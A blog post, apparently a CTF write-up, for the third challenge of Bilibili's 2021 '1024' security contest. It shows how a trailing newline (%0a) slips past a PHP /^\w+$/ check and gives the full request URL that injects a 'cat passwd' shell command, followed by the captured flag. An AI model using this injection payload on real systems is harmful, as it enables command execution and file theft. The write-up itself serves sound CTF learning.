2021-10-26 2021年B站1024安全攻防题第三题(最好的语言)

Myth丶恋晨 2022-09-17 03:29 30阅读 0赞

## 最好的语言 ##

下载eval.zip文件  
![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBA5oSa5YWs5pCs5Luj56CB_size_20_color_FFFFFF_t_70_g_se_x_16]  
![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBA5oSa5YWs5pCs5Luj56CB_size_20_color_FFFFFF_t_70_g_se_x_16 1]  
可以看到正则 /^\\w+$/，功能是匹配（a-z、A-Z、0-9，以及下划线）  
这个可以用结尾接换行符匹配

探查目录  
![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBA5oSa5YWs5pCs5Luj56CB_size_20_color_FFFFFF_t_70_g_se_x_16 2]

发起GET请求执行CMD命令cat passwd

https://security.bilibili.com/sec1024/q/pro/eval.php?args[]=1%0a&args[]=cat&args[]=passwd

![在这里插入图片描述][a46ae667b925446facb752919f0975dc.png]

flag 是 `9d3c3014-6c6267e7-086aaee5-1f18452a`

[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBA5oSa5YWs5pCs5Luj56CB_size_20_color_FFFFFF_t_70_g_se_x_16]: /images/20220828/72b2803673f84f8e9b21566d40d826f6.png
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBA5oSa5YWs5pCs5Luj56CB_size_20_color_FFFFFF_t_70_g_se_x_16 1]: /images/20220828/4b8b10aac8f44efd91ff79bb11ab79c0.png
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBA5oSa5YWs5pCs5Luj56CB_size_20_color_FFFFFF_t_70_g_se_x_16 2]: /images/20220828/a33edfd284494a39a995b3a9721079e5.png
[a46ae667b925446facb752919f0975dc.png]: /images/20220828/dde36170d28147edb80830dc0b810d44.png

发表评论取消回复

表情：

评论列表（有 0 条评论，30人围观）

还没有评论，来说两句吧...

相关阅读

相关 B站 - 黑客攻防入门到入狱 [网络安全] -笔记

cc攻击和DDoS攻击： https://www.zhihu.com/question/279332078/answer/406403780 ← ← ← 刮刮乐

本是古典何须时尚/ 2023年02月18日 08:30/ 0 赞/ 22 阅读

相关 2021年CKA考试真题（三）

直通车 [2021年CKA考试真题（二）][2021_CKA] [2021年CKA考试真题（三）][2021_CKA 1] [2021年CKA考试真题（

心已赠人/ 2022年10月22日 07:40/ 0 赞/ 245 阅读

相关 2021-10-26 2021年B站1024安全攻防题第五题(安卓逆向)

![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBA5oSa5YWs5pCs5

拼搏现实的明天。/ 2022年09月17日 04:22/ 0 赞/ 84 阅读

相关 2021-10-26 2021年B站1024安全攻防题第四题(SQL 注入)

SQL 注入根据页面查询字段和网络通信情况分析 ![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow

古城微笑少年丶/ 2022年09月17日 04:19/ 0 赞/ 45 阅读

相关 2021-10-26 2021年B站1024安全攻防题第三题(最好的语言)

最好的语言下载eval.zip文件 ![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_te

Myth丶恋晨/ 2022年09月17日 03:29/ 0 赞/ 31 阅读

相关 2021-10-26 2021年B站1024安全攻防题第二题(前端配置项)

前端配置项第二题的 flag 是 `36c7a7b4-cda04af0-8db0368d-b5166480`，就在 home.vue 页面的注释里，如下图所示： !

我不是女神ヾ/ 2022年09月17日 03:28/ 0 赞/ 21 阅读

相关 2021-10-26 2021年B站1024安全攻防题第一题(加密解密)

加密解密加密方式：AES 加密加密模式：ECB 填充方式：无影响，都可以 Key：happy\_1024\_2233 96位密文：e9c

淩亂°似流年/ 2022年09月17日 03:11/ 0 赞/ 23 阅读

相关 2021最常见的网络原理面试题【好文收藏】

推荐视频： [腾讯游戏面试必问的UDP可靠性设计][UDP] [腾讯T2.3亲身经历分享，腾讯offer的获取之路及linux后台开发学习路线][T2.3_offer_

Love The Way You Lie/ 2022年08月29日 15:58/ 0 赞/ 500 阅读

相关 2021-10-24 攻防世界-简单题-MISC-003(如来十三掌)

解答思路开打佛语解密官网：[https://www.keyfc.net/bbs/tools/tudoucode.aspx][https_www.keyfc.net_bb

本是古典何须时尚/ 2022年08月28日 03:55/ 0 赞/ 167 阅读

相关 LeetCode 第三题（C语言）

给定一个字符串，找出不含有重复字符的最长子串的长度。示例 1: 输入: “abcabcbb” 输出: 3 解释: 无重复字符的最长子串是 “abc”，其长度为 3

Dear 丶/ 2022年05月03日 11:30/ 0 赞/ 193 阅读